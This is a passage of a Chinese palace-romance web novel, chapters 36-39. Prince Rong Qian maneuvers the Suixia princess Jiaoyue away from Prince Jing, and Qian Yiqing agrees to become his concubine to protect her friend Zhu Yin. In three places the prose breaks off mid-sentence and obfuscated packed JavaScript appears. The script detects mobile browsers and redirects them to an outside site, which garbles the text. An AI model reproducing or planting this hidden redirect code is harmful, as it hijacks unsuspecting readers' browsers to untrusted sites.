然而容潜只当没看见她,对着璟王微微颔首:“二哥。” 璟王诧异:“九弟,千千?” 容潜解释道:“我把她送来与璟王妃做伴,二哥不必准备车马了,与我同乘进宫。” 璟王看着他,目光在他脸上停顿了片刻,神色复杂:“也好。”转过头来,璟王对着祝音露出柔和的笑,“你整日说要去见千千,如今她来了,你可高兴了?” “高兴。”祝音扯了扯嘴角,一瞬的惊喜很快消逝,挂在嘴边的笑看起来有点勉强。 出什么事了? 千裔清直觉一定出了什么变故,容潜素日听到祝音的名字都会动气,这回却这么好商量的把他送来和祝音见面。 稍加联系,她觉得此事和容潜一定脱不了干系。 莫非是因为今日的筵席? 对啊,既然是宫宴,佑王会去,璟王会去,朝中大臣也会携贵眷前往,那为何璟王的夫人去不得? 容潜所说的“她不会去”,是什么意思? “晚些我再来接你。”容潜轻笑,靠在她耳廓加了句轻巧的威胁,“乖乖在这儿等我,别想着逃跑。” 她什么时候想着逃跑了? 就算要逃跑也不会在璟王府,这样做非但跑不掉,还会连累祝音,她没那么蠢! 千裔清轻飘飘地扫了他一眼:“遵命,殿下。” 36. 绥夏 坤京城中,璟王府里。 薰风解愠,昼景清和,翠园里百花争艳,尤其牡丹开的最盛。 府上的婢女排列整齐,在廊亭下呈上待客的果子茶水,千裔清随意一扫,正看到了一个熟悉的身影。 “绛雪?” “奴婢是绛雪。”绛雪笑了笑,“没想到姑娘还记得。” “自然记得。”千裔清打心底里还是觉得对这两姐妹过意不去,面色有些尴尬,“绛珠呢?你们如今过得还好吗?” “璟王妃待我们挺好的,姑娘不用担心,其实我们这些做奴婢的,在谁家府上做事都是一样的。” “......那就好。”千裔清点点头。 食桌布置完毕,祝音屏退了下人,仍是神色恹恹。 以她们两个的关系,想问什么自然不用拐弯抹角的。千裔清便直截了当开口:“今日的宴席是为迎接绥夏使臣所设?” 听她这么问,祝音的表情更为失落,也更加证实了千裔清的猜想。“所以......你不开心是因为皎月公主来夜南,你担心璟王会被公主看上?” “不是担心!今日宫宴是皇上不允我参加,”祝音猛地起身,愤愤然道,“你知不知道,昨天绥夏的人马刚一进宫,那个什么皎月公主就指名要见玉衡哥哥,还说什么沿途听尽了他的美谈,非要见见人不可!” 如此,千裔清突然懂了为什么容烨不让祝音跟着进宫了,大约是怕两人在宴上争风吃醋,影响了两国协商吧。 “听说璟王昨日也进宫了,与那皎月公主可有见上面?”若见上了总该有个结果,到底是看上了还是没看上,她此刻更关心这个。 闻言,祝音顿时泄气,颓然地瘫在石凳上:“自然是见着了,还扬言非玉衡哥哥不嫁。” 都说绥夏人爽朗坦率,心思都是直的,皎月公主这般出言,倒也不出意料。然而千裔清还有点不明白:“她不知道璟王已经成亲了吗?” “玉衡哥哥昨日在殿上就已经说清楚了,可是她说......”祝音咬了咬下唇,脸上尽是难堪之色。 “说了什么?” 祝音抬起头,眼圈儿已经红的像兔子,马上就要落下泪来:“她说只要玉衡哥哥休了我,她就答应和亲之事......” “......”千裔清一怔,随即扬眉怒道,“岂有此理!她要进门也就罢了,怎么还有脸让人休妻!” 然而事已至此,再气也没有用,皇上的意思也很明确,他以国事社稷为重,牺牲一个祝音又算的了什么。 “璟王的想法呢?”容烨与几位兄弟一向和睦,璟王和祝音的好事甚至也是他求情先帝而促成的,他这么做,璟王会同意? 祝音摇了摇脑袋:“玉衡哥哥说他会想办法,但我瞧他昨晚的神情,似乎也没把握。” 面对这种情况,千裔清也没什么帮得上忙的,只能尽量宽慰她凡事往好处想些,璟王真心待她,必定不会真的休妻。 然而璟王会不会最终委屈求全一并娶了皎月公主,千裔清不敢想。 除了这个,她其实心中还有所怀疑。 容潜曾经先对她提起过皎月公主的事,从他的话中分析,容潜好像一早就知道皎月公主会看上璟王。那句“她能选谁是我的本事”,并不是信口开河。莫非这一切都是他精心设计的? 许久不见,他何时变得如此精于算计了! 夜已深了,树顶的蝉开始肆无忌惮的吵闹起来,惹得人更是心烦。 千裔清和祝音在正堂聊天,一是为了开解祝音,二是陪她等璟王回来。 五月的晚上并不算冷,大厅的门窗半掩着。 约莫亥时三刻,府上的小厮跑来通报。 “王妃!王爷和崇安王回来了!” “真的!”祝音脸上一喜,立刻就从椅子上站起来了,方才的愁容一扫而空。 抬脚刚迈出两步,她又驻足犹豫了,转过头看着千裔清为难道:“你说他会不会已经答应......” 千裔清知道她在担心什么,叹了口气,扯上她的衣袖就往外走:“咱们在这儿猜有什么用,出去看看不就知道了。” 人都已经到门口了,还在这四方天地里犹豫不前,这是什么道理。 两位王爷往后宅方向去,千裔清和祝音赶着朝门前迎,几个人便在偏院遇上了。 不过这俩人都带着酒意,容潜还好,尚能自己走路,只是眼神里带着些许醉意而已。容瑾就不同了,两个下人一左一右搀扶着,自行站立都是个问题。 千裔清大为吃惊——这还是那个心思沉静永远一副置身事外模样的璟王? 祝音急着上前,听到王妃的声音,璟王这才好像微微回神,半眯着长眼,刚笑了一下,又突然生气了,样子看起来有些落魄。 千裔清觉得他有点可怜,这场宫宴怕是让他受了不少委屈,那结果也可想而知了。 容潜见人已经送到便不再朝里走了,他把目光落在千裔清身上,仍是清明的。 千裔清知道该怎么做:“既然璟王已经回来了——王妃,我们就先走了。” 一声疏离恭敬的“王妃”让祝音愣了一瞬,但她也无暇顾及,眼下的容瑾显然更需要她照顾。她点点头,表示知道了。 千裔清颔首,绕过璟王向容潜走去。 本是醉醺醺的璟王陡然拉住她,抬起眼,目中闪过一丝寒意:“你——很好!” 这动作刚一出,容潜立刻抬手按住璟王的手腕,三个人的手臂霎时形成了一种怪异的僵持状态。 “玉衡哥哥你在说什么啊?”祝音不明所以,以为容瑾醉酒认错了人。 “二哥。”容潜的语气仍是平常,手上却微微用力,带了些警示意味。 璟王循声掀起眼帘,把目光转向身边的容潜,带着冷意的表情突然放松,眯着眼笑了起来。 他仍是一副醉鬼样子,撤开手拍了拍容潜的肩头,笑道:“你也很好。” 这样的爽朗憨态,仿佛刚才那个寒芒闪过的人并不是他。只有千裔清知道,他用力到像是打算捏断她腕骨的力道是认真的。 她可以确定,是容潜做了什么。 祝音一脸抱歉:“姐姐对不起,玉衡哥哥失态了,他平时不喝这么多的!” 千裔清摇头轻笑:“没事,你好好照顾他,我们不打扰了。” “走吧。”容潜早就没了耐心,揽过她的肩便走,连声招呼都不愿打。 千裔清被他挟着走,勉强才能跟上他的脚步。趁着身边已经没有旁人,她抬首问道:“你跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913802|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璟王怎么了?” 容潜淡淡道:“如你所见,很好。” 千裔清“......” 他走的很快,出门的路转眼就走到了头,跨过朱扉门槛,华丽的马车就停在眼前。 时辰不早了,车夫正在打瞌睡,听到动静打了个激灵,连忙装出一副尽职等候的样子。 车轮不停,立刻重新转着,方向正是崇安王府。 直到这会儿,容潜才微阖凤眼,稍稍放松了一些,像是在休息。 空旷的街道,白日里来来回回的行人早就回到自己家中,如今的石砖瓦地上除零落的碎叶以外,也只有这空旷回荡的车辙声了。 千裔清坐的离他远一些,翻开袖口,腕上的指痕清晰可见,她现在仍觉得骨节都疼的麻木。 “很疼?” 一道冰凉的嗓音打断她的思索,千裔清抬起头,容潜不知道什么时候已经睁开眼,正一眨不眨地看着她。 千裔清不在意地放下袖边:“不疼。与其关心我疼不疼,还不如告诉我宴上发生了什么?” 容潜自然的接过她的话:“还能有什么,二哥天人之姿,被那绥夏来的公主看上了。” 千裔清心中认定这件事有容潜的推波助澜,因此也不自觉地嘲讽道:“您也是一表人才,怎么就没被公主看上呢?” 容潜像是认真的想了想,答道:“大约——是怕被我一不高兴杀了吧。” 坊间虽然早有关于崇安王的传闻,但能传到公主耳朵里,且能让这位公主退缩,传言一定有不少的夸张成分。 这位殿下居然不惜败坏自己的名声去抬高璟王的身份,也是......挺有病的! 那她也就不拐弯抹角了:“方才看璟王那副样子,应该是知道了此事和你有关吧?容潜,你这么算计自己的皇兄,不愧吗?” 容潜似笑非笑道:“我有何愧?许你二人算计我,就不许我还回去?” 他知道当年事情的来龙去脉了? 千裔清怔然:“是璟王告诉你的?” “无需他告诉我——”容潜抬手,屈指点了点自己的额角,“我有脑子。” 小心眼儿的男人! 虽说当初璟王也曾参与此事,不过无法否认,他也是真心为容潜考虑过的,否则也不会对自己抱有敌意,还旁敲侧击的威胁提点自己。更何况他还是容潜的皇兄。 她替璟王委屈。 千裔清沉吟,缓缓开口:“璟王是真心为你好的。” 容潜拂袖:“我与二哥相识十几年,他对我几分真心我心中清楚,不用你来告诉我。” 眼前的男人低头把玩腰间的玉佩,眉宇间皆是不在意的样子,说出如此凉薄的话,他的一言一行都让人觉得陌生。 千裔清暗叹一声,摇头道:“璟王待你从未变过。” 闻言,容潜神色一凝,冷笑道:“他的确没变过......” 接着他摆摆手:“你同我说了这么多,可是有什么要求我的?” 千裔清怔然,想起那晚他提出打赌的事,突然明白了他的用意,心中顿时又崩溃又觉得可笑,于是脸上就有了哭笑不得的怪异表情:“你做这些就是为了让我求你?” 容潜看着她,狭促的笑道:“不然呢?” 37. 求他 十五夜,月亮高悬,正是最明最亮的时候。 千裔清看着面前的男人却陡然生出一阵冷意。 他算计自己本也无可厚非,可他绕了那么大一圈,连自己都皇兄和皇嫂一同丢进圈套,就为了一个单方面的赌约?就为了让她求他? “为何这么看着我?”容潜歪着头,一脸的不解。 千裔清冷静地望着他的双眼,那对墨色的深潭就在眼前,可她仍是看不进底。她觉得自己越发不了解他了。 静默了片刻,她终于措辞:“是不是只要我求你,你就会答应?” 容潜颔首,给了她一个肯定的答案:“自然。” 千裔清冷笑一声,摇头道:“你就从没想过,我求你的事或许你做不到?” 容潜自信道:“只要你求我,我就一定做得到。” 容潜以为,有祝音的牵绊,她所求之事无非是阻止璟王和皎月公主的婚事,这对他来说并不是难事,他差的——只是她开口。 千裔清不知道他有多大的能力,她对当朝之事一无所知,她只知道若想阻止两个人的婚事,最好的办法就是让其中一人与另一人结为连理。 ——正如两年前那样。 千裔清其实是有些胆怯的,她不敢开口,她担心自己一旦说出口,容潜会一时气到要了她的命。 只是她也不得不开口。 千裔清安慰着自己,在心底默默给自己鼓足勇气,声线却不受控制的有些发颤。 千裔清抬起眼帘,沉静地看着他道:“我求你——娶她。” 男人的目光陡然变冷,利刃般的眼神几乎要把她贯穿,耳边的车轮声变得清晰,原是马车内过于安静了,安静到只剩他极力压抑怒气的沉重呼吸。 过了很久,他冰冷的声音咬着牙道:“你再说一遍。” 千裔清深深呼吸一口气:“我求你——” “殿下!咱们到了!” 两个触及底线的字被她生生咽了下去,小厮的动作很麻利,三两下把车门打开,车梯铺好在眼前。 看门的下人迎在一旁,只等着两位主子下车。 容潜冷哼一声,斜睨了她一眼,一掀衣摆自己下了车,再没去管她。 生大气了。 ...... 容潜生气,整个崇安王府的人都要跟着遭殃,饶是陆离也逃不过。 一整天,崇安王看见谁,谁就会被罚。因此最好的方法便是躲着,只要不被他想起,兴许就能躲过一劫。 不过府上有个不长眼的硬要去往跟前凑,那个人就是千裔清。 她也没办法,话已经出口,她又不能收回,倒不如硬着头皮再去试试。毕竟她实在没有别的法子能解决当下的困境。 她原本就把佑王得罪了,现在再被璟王恨上,甚至害了祝音。这些事她怎么想怎么后怕,实在是无法接受。 其实千裔清也想过,容瑾生得俊逸非常,放眼整个夜南估计也只有那位喻门主能与之比较一番,不过喻景淮是江湖人士,白日里又不爱抛头露面,寻常人对他并不了解。 佑王的品性藏也藏不住,几句话便会露了马脚,想来那皎月公主也看不上他。 皇上......皇上的主她可做不了。 现在看来也只有崇安王可选了。 容潜的相貌虽比不得璟王,却也属人中龙凤。他贵为王爷,手上又有着赫赫战绩,前不久刚北伐十方大捷。 皎月公主嫁给她,简直是高攀了。 只是不知道那位公主愿意不愿意。 然而不论她是否愿意,她贵为绥夏公主,带着求和的意图前来,就得考虑着国家使命做决定。 还没来得及考虑更多,容潜的卧房已经在眼前了。 “哗啦——” 一只青花茶盏从大门丢出,茶具碎了一地,连带着杯中的茶叶和水。 紧接着是长福连滚带爬的从房里出来,跪在地上清理碎瓷片,动作急切又慌张,带着像是刚从鬼门关回来一样的表情。 千裔清上前帮他捡了两片,一道丢在他捧着的木盘里,问道:“出什么事了?” 长福缩着脖子小声回答:“没什么......殿下心情不好拿小的出气来着......” 千裔清疑惑:“你犯什么错了?” 长福摇摇头:“殿下说茶杯里的茶叶只有四片,不吉利。” 千裔清:“......” 她揉着额角,突然觉得十分头疼。 长福提醒她:“姑娘要是没什么大事的话还是择日再来吧,千万不要这时候去碰钉子。” 纵然知道长福是好意,千裔清还是摇头拒绝了。 她怕什么碰钉子,这钉子可不就是她亲手钉进去的。 长福老老实实的去管事那里领罚了,千裔清在门口停了一会儿,做足了心理建设才敢进去。 男人穿着常服,但用料款式仍是颇为讲究,无处不透露着奢靡气息。他正坐在长榻上看书,一条腿随意屈着,手上拿着本《虎钤经》,心不在焉地看着。 听见来人,他缓缓抬首,眉间的惊喜一闪而过,转而是更大的怒意。 容潜沉声道:“你来干什么!” 千裔清捏了捏衣角,按耐着心中的紧张:“来求殿下帮忙。” 容潜冷笑一声,把书重重地丢在地上,支起架子好整以暇地看着她:“求我娶别的女人,你觉得我会答应吗?” 猜到他会这样说,千裔清深吸口气,挺直了背走到他近前。 垂下睫毛,正对着的就是他寒意十足的一双眼睛。 “殿下昨夜在车上不是说过,只要我求您就一定做得到?”她目不斜视,此刻打定主意不能露出丝毫怯懦。 只是容潜看她这不卑不亢理直气壮的样子却更加生气,身侧的拳攥的指节发白,紧了紧,又松了松。 末了,容潜向后倚了几分,即便身形处于低位,气势上也完全压制她。 他像是想通了:“你既然要求我总得拿出点诚意,端着这副姿态是来求人的吗?” 听他这话,似乎还有商量的余地。 千裔清放缓了语气,声音轻柔的十分惹人怜惜:“殿下想要什么诚意,只要不是要我的命,做什么都可以。” 听到这半保证的话,这么怕死,容潜还是忍不住嗤笑一声:“我不要你的命。”想了想,他勾起唇角,眼尾挑起一个浅浅的弧度,又是那种明目张胆的算计模样。 上次他露出这种表情,就是她掉入他陷阱之时。 但他一直没开口,只是这样看着她。 “殿下? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919173|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”千裔清忍不住提醒。 容潜屈起手指在桌面上敲了敲:“这样吧,你若是肯做我的侍妾,我就迎她入府。” “好。”千裔清波澜不惊地点头,很快给了他答复。 反倒是容潜有些诧异。他原以为千裔清会犹豫,甚至是拒绝,却未曾想她答应的如此爽快。 心中不禁问道:她......莫非也是想嫁给自己的? 千裔清不是这么想的,她很清楚容潜对她的心思,他势在必得,就算此时拒绝了,他总会再想别的办法,因此听到他的话并不意外。祝音的事拖不得,所以她答应了。 再无旁的什么原因。 “这么快就给我答复,不再考虑考虑?” 千裔清勾了勾唇角,随意道:“不必了,不论殿下想要我为奴为婢还是做牛做马,我都毫无怨言,做您的侍妾,是您抬举我了。” 容潜一副很好商量的样子:“你不必如此言语讥讽,我不会强迫你,你若不愿意拒绝我就是。” 千裔清暗自诽腹,他把“不会强迫”几个字咬的这么重,不就是想听她承认自己赌输,以此慰藉自己的自尊心吗? 她满不在乎地说:“殿下误会了,我是心甘情愿的,既然是我有求于您,这便是我的诚意。” 饶是听到了满意的回答,容潜却也没高兴起来,他目光落在千裔清脚边的书本上,点了点下巴命令道:“捡起来。” 千裔清依然拾起,抬起指尖拂去沾染的细微灰尘,微微垂下脖颈,双手奉上。 她终于对着自己低下了傲然的头颅,她认输了。 容潜却觉得心中晦涩异常,像是被一片一片切开一样。 这比他自己每日将剑刃捅进自己胸口的疼痛还要重上千倍万倍。 但这种疼,却是喊不出声也叫不出来的。 又是因为那个祝音! 他没由来的一恼,拉着她奉上书本的手腕朝怀里一带,温香软玉俯在胸膛,容潜却是冷眼望着她:“你当真要为了祝音做到如此地步?” 千裔清不明白为什么答应了他,他却还是不高兴,可她还是坦然地回答他:“是。” “是?”容潜气的眉头一挑,“你知不知道什么是侍妾?你知不知道做了我的侍妾要做些什么?我从前那么求你你都不愿意委屈了自己,现在却要为了祝音来讨好我?” 他气极反笑,声音掷地:“你对她那么好,却连对她好的千分之一都不愿分给我!千裔清——我真恨她!” ......搞反了吧? 千裔清怔然之余纠正他:“殿下,您应该恨我。” “恨,怎么不恨?”容潜勾唇,目光落在她脸上缓缓下移,接着是她雪白纤细的长颈,再到她俯着身子而若隐如现的胸口。他的语调转而轻挑,“不过,你以后是我的侍妾了,我得疼你......清清。” 清清? 千裔清一愣,这是只有她父母唤过的乳名。 旁人都是唤她千千,一来是好记,二来是唤姓氏不算生疏,但也说不上亲近。她不大习惯与人太亲近,这种适当的关系于她刚好。 “殿下这么叫我.......不大习惯。” “旁人都用的称呼我怎么能用?我对你,必须是特别的!”容潜看着她,“你慢慢习惯就好。” 38. 生气 令千裔清意外的是他这次颇信守承诺,信守到......过分着急了。 在她给出准确的回答后,容潜二话没说,当天下午就叫人备车入宫。大约是怕她反悔。 千裔清在王府等的也很焦心,她怕容潜摆出那张冰块脸没办法说动皎月公主转变心意。 然而左等右等,还没等到容潜回来,千裔清倒是先睡着了。 等她再醒过来,才发觉自己昨夜竟是在椅榻上合衣而睡,红楠木叠成的椅架硌的她全身都痛,因此醒来的时候还早,天刚微亮。 绛珠不知道什么时候已经进来了,给铜盆中倒好了热水,正打算离开。 千裔清以为自己看错了,讷讷低声唤了一声:“绛珠?” 绛珠听到声音回过头来,高兴道:“您醒啦,刚才看姑娘睡在榻上本想把您叫起来的,不过想着您差不多到时辰醒了,就没打扰您休息!姑娘稍等片刻,奴婢去叫绛雪来替您更衣!” “哎——等等!”千裔清差点被她这一连串的回话绕晕。 绛珠停下脚步询问道:“姑娘还有什么吩咐?” “你跟绛雪不是在璟王府吗?怎么回来了?”难道是璟王因为和亲的事大发雷霆把她们赶回来了? 绛珠解释道:“回姑娘的话,是昨夜陆离大人叫奴婢们回来的,说是姑娘您在府上住着没人服侍定是不行的,还是由我们两个服侍您,璟王殿下一听就答应了。” 陆离不会擅自做主去把绛珠绛雪接回来,而且他也没那么大的面子从璟王那里要人,定是领容潜的命令去的。 那容潜人呢? 千裔清问:“殿下回来了吗?” “方才殿下派人传了信儿,说是下午再回来,中午就留在宫里用膳了。”绛珠解释道,面色突然有些犹豫,那传信的还说了旁的话,不知道要不要跟千千姑娘细说。 “有什么话就说。”千裔清立刻就察觉到绛珠惴惴不安的样子。 绛珠咬唇:“那奴婢就直说了——姑娘,宫里送信儿的人还说了......说绥夏来的皎月公主也会来府上住些时日。” 住些时日?这话还是说的委婉了。 这么说皎月公主答应改嫁给容潜了...... 他是怎么办到的? 千裔清不得不在心中高看他一眼,不过短短两年,昔日内敛的少年已然锋芒毕露成了说一不二的人物,甚至可以把控旁人的决定和命运。 她从来都知道容潜不简单,却也没想到他会成长到这般天地,这其中少不了她的功劳。 千裔清的心情很复杂,一面觉得欣慰,一面又觉得害怕,在这种人身边待下去,只会落到连渣都不剩。 她这精彩万分的表情落在绛珠眼里就变成了另一种意思。 绛珠心道,千千姑娘一定是伤心了,好不容易和殿下再次重逢相聚,还没过上好日子,却要眼瞅着对方和另一个女人出双入对,那人又是公主,免不了要给她气受。 “您别难过,奴婢相信殿下一定是迫不得已的,他找了您两年,好不容易把您盼来了,怎么会突然就看上别的女人呢!” 千裔清点点头:“嗯。” “嗯?”绛珠睁大眼睛,惊疑地看着她,“姑娘不气?还是气糊涂了?” 千裔清哑然失笑:“我气什么,殿下是王爷,三妻四妾不是很正常吗?” 她当然不会气,这主意还是自己出的,按道理说,她应该高兴。 不过她没觉得高兴,也没觉得不高兴,就像那日大火吞噬了她的家和亲人,从此她颠沛流离,人生再无安定了。 而今的状态,也不过是从一处流离之所换到另一个地方而已。 绛雪服侍她更衣,这衣裳的款色颜色都不是她选的,她自己的衣裳只有白色素裙,简单的不带任何花样。绛雪手里这套则是绣着金丝的浅色罗裙,袖口腰间绣着精致的兰花,软的如鹅绒一样。这鹅黄色,原是她在霜序序常穿的颜色。 千裔清觉得有点眨眼,这是小女儿家喜爱的浅色,她如今已经二十一岁,若是生在寻常人家,兴许都已经说了亲嫁为人妇。 千裔清摆摆手不肯穿:“换件素净的来。” “奴婢瞧着这件也不算花哨啊!” 千裔清低头想了想,直截了当说:“选件白色的来。” 绛雪虽然好奇,绛珠给她递了个眼色,她最终没敢说什么,听话换了一套。 从绛珠和绛雪那里得知,璟王和祝音这两年生活和睦,夫妻恩爱。旁的倒没什么,只是自打千裔清消失以后,容潜跟璟王的来往便少了起来,但若说他们看起来关系有什么不妥,却也和昔日没有差别。似乎是指单纯的减少了往来。 然而璟王是成家之人,容潜又常常出征在外,在京时也各有各的忙出。 一切看起来也很合理。 千裔清却忘不了容潜在马车上含义颇深的几句话,这兄弟二人远不止表面上看到的那样。 今天的太阳晴的极好,过了晌午,日头越发毒辣。绛珠陪着千裔清扇扇子,两人在后花园里待了没多久便觉得身子犯懒,绛珠跟着她回房休息。 还走出园子就听见府上下人在议论,说是殿下回来了。 绛珠接过千裔清的眼色,几步上前叫住宝山:“你说殿下回来了?在哪儿呢?” “是绛珠姐姐呀!”宝山吓了一跳,一点儿没隐瞒的和盘托出,“都在前厅呢!绥夏的公主来咱们王府了,长福他们正收拾院子给公主她们住呢!” “她们?” “是啊,那位公主还从绥夏带了两个侍女过来,这会儿都在忙活呢!” 绛珠悄悄瞥了一眼还在远处眯着眼晒太阳的千裔清,又问宝山:“那位公主你也见到了?长得怎么样?” 宝山笑了笑:“当然好看啦!跟个仙女似的!我还以为绥夏跟十方人差不多呢,没想到跟咱们夜南女子倒是没什么区别。” “胡说什么呢!”绛珠哼道,“她再好看还能有咱们千千姑娘好看?” “这——” “绛雪。”千裔清觉得疲倦到睁不开眼,再放任她们聊下去估计也是浪费时间,“我乏了,咱们回去吧。” “是。”绛雪应了一声,临走还不忘再瞪宝山一眼,惹得宝山也是一脸尴尬,有种做了坏事的感觉。 绛雪戳着扇柄,对宝山的说辞觉得极为不满,她怎么想怎么觉得不舒服:“姑娘刚才为什么拦着我啊?咱们殿下的人怎么能长他人志气灭自己人的威风呢!” 千裔清捂着嘴打了个哈欠,懒散地应付:“威风跟志气都是自己给自己的,干别人什么事,不必放在心上。” “可是......您就不怕殿下真的喜欢上她从而疏远您?”不妥不妥,无论如何还是觉得不妥。 千裔清一听,来了几分精神,勾起嘴角好笑地看着绛雪:“那不正好?” 若真是这样,她一定给那位皎月公主烧几柱高香,谢谢她的大恩大德。 绛雪不解地皱起眉头,眼珠儿转了转,她突然一脸明白的样子笑了起来:“哦——奴婢知道了!您的意思是,您相信殿下不会见一个爱一个对吧?我也觉得,殿下肯定不是那么肤浅的人!” 想象力还挺丰富的。 千裔清失笑看着她,绛雪她们和自己同岁,怎么这两个丫头还总是单纯天真的样子,反观自己...... 总觉得有些可悲。 前院听着是热闹,千裔清住的最北,与府上其他人的方向刚好完全相反。 王府上下一干人等自然也不敢怠慢公主,各司其职,抓紧收拾公主将要入住的院落。 王府上下都是男子,女子的声音混在其中十分瞩目。 千裔清她们路过时随便听上两句,就听得尖细的嗓音在一干人中呼来喝去,听起来倒是两个不同的女子声音,大约就是皎月公主带来的两名侍女了。 侍女都这么泼辣,主子怕也不是善茬。 千裔清突然觉得庆幸,还好是来了崇安王府,若是跟祝音同在一个屋檐下,那丫头免不了又要哭鼻子。 - 紫玉葡萄摆在桌几上,各个湛紫光鲜,像十方最盛产的黛琉璃珠一样。 绛珠和绛雪都坐在一边剥葡萄,葡萄的皮最是难剥,又费力气,又费眼力。 千裔清睡醒了,见两人还没离开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她又不傻,干嘛平白无故地去招惹晦气,当然有多远躲多远了! 于是她漫不经心地应付道:“好奇什么,早晚会见到的。” 绛雪停下剥葡萄的手,脸上浮现一丝担忧:“千千姑娘......陆离大人的话,许就是殿下的意思......” 千裔清面无表情地放下书,往嘴里塞了一颗葡萄。酸味大于甜味,她忍不住微微蹙眉,好歹咽了下去。 其实不用绛雪提醒,陆离是容潜的贴身侍卫,容潜既然在府上,他哪有胆子私自来找她说些莫名其妙的话。 她拢了拢头发:“殿下若想见我大可直说,不用特意让你来提点我。这番话你原封不动的带回去就行。” 这千千姑娘实在是不知好歹! 陆离收紧手中的剑柄,最后留下他的真心劝告:“既然如此,我会把姑娘的话原封不动地转告给殿下。不过属下还是想奉劝您一句——千千姑娘,您既然答应了殿下,就要认清自己的身份,该做什么不该做什么,您心中应该有数!” “哦?所以你的意思是,我现在应该上赶着去巴结容潜,陪他吃陪他喝,陪他高兴再陪他睡?”千裔清冷笑一声,“也行,你去转告容潜,若他有需要,我晚些沐浴焚香后便去他房里,如何?” “你——”陆离一时失语。 他的确是想让她认清自己的身份对殿下亲近一些,但话也不是说的那么难听,反倒曲解了他的意思。到底是流月坊出来的女子,果然不知羞! 陆离提着佩剑又匆匆走了,绛雪咬了咬唇这才敢说话:“千千姑娘,陆离大人刚才的话是什么意思啊?什么叫答应了殿下?难道您没有跟殿下重修旧好?” “旧好?”千裔清又塞了颗葡萄进嘴里,这颗更酸,但有了第一颗的前车之鉴,她有些习惯了。咽下去后她才疑惑道,“我们什么时候好过?” 绛雪一愣:“您是不是在生殿下的气啊?” 绛珠接过话:“千千姑娘一定是生气了,她在气殿下当日没有及时去救她才让佑王得逞!可是姑娘,您不能怪殿下啊,那日是皇上在宫中绊着殿下不让他出宫,他又怎能未卜先知啊!” 这一席话打开了绛珠的话匣子,她继续滔滔不绝:“殿下已经很自责了,这两年来所有人都以为你死了,可殿下没见到您的尸体,从未放弃过寻找您,否则您今日也不会出现在咱们面前了!” “姑娘......您别生殿下的气了......” 39. 共眠 她有什么好生气的,就算要气也是气佑王,跟容潜无关。 也不知道她们两个是怎么想的,居然会以为自己在怪他。 千裔清眨眨眼,问道:“现在什么时辰了?” 绛雪答道:“回姑娘的话,酉正了,您可是要去见殿下?” “不见,去帮我准备些热水,我要沐浴。”千裔清起身,捏了捏酸痛的肩颈。 绛珠却理解错了意思,她的脑子里还反复回想着方才千裔清的话,惊讶地捂住嘴:“姑娘您——您真要去殿下房里!” 这句话惹得千裔清脚下一个踉跄,险些左脚绊右脚。 自打离开鬼山,她觉得自己身上左右都不舒服,疲累的很,这种疲惫是歇息不过来的。 左思右想,还是体内的寒气太盛。 一记眼刀横飞过去,直直扎向绛珠,绛珠惊觉自己说错话了,双手把嘴挡的严严实实,声音在掌心后头支支吾吾的:“奴婢错了奴婢错了!奴婢这就去给您倒水!” 府上的人很快准备好了沐桶和热水,千裔清在内阁更衣。 待绛雪把门关好转身进房里,千裔清已经进去泡着了。 她微微侧头,将手臂搭在桶沿:“你去休息吧,不用服侍我了。” “这怎么成!奴婢瞧您今日气色不大好,还是让奴婢帮您吧!” 千裔清也不再和她争辩,水里的热气蕴在周身很是舒服,除了小腿还没暖透,酥麻发痒的感觉教人脑袋有些发昏。 千裔清阖眼倚着,任由绛雪帮她顺发,又在她身上涂抹些沐浴的香露。 她觉得自己在热气中快要睡着了,直到绛雪惊讶地“咦”了一声。 “千千姑娘,您右腿膝上怎么有这么大一块疤呀?”说完,绛雪还用食指在上面按两下,手感微硬,并不是新伤。 这动作让千裔清陡然清醒,她的眼神片刻变得清明,森然的寒意笼上瞳孔。 “别碰我!”水花四溅,突然缩进水中的小腿把绛雪吓了一跳。 绛雪立刻跪下,急道:“对不起对不起!是奴婢做错什么了吗?” 千裔清看着跪在地上瑟瑟发抖的绛雪,突然觉得自己反应过激了,不过是一个很丑的疤而已,而绛雪也不过是好奇而已。 只有她牢牢记在心头,牢牢的把它当成一个可怕的回忆。 千裔清回过神来,叹了口气:“你先出去吧。” 绛雪一怔,怯生生抬头:“您不洗了吗?” “嗯,有些困了。”她随口答一句,揉了揉额角。 “那......奴婢帮您穿衣?” 千裔清本想拒绝的,只是瞧着绛雪真诚关切的目光,心中于心不忍:“好。” 绛雪是个不记仇的,转眼就眉开眼笑了,利落的从衣架上拿下挂好的衣裳,千裔清只需站在那里抬两下手臂,剩下的都交由绛雪来收拾。 这些事从来都是她帮祝音做的,如今自己也享受了一回。 这感觉......是不大一样。 东西全都收拾出去了,地上的水渍也被处理的干干净净。绛雪掌着烛台,将床边高桌上的灯罩取下,把灯吹灭了。 千裔清躺在床榻上看绛雪忙活,黯色中的小脸也生得干净清秀,突然想起方才水渍溅了她一身:“刚才有没有烫到你的脸?” “啊?”绛雪愣了一会儿才反应过来她是在说沐浴时发生的事,便摇摇头,“没有,水并不烫。” 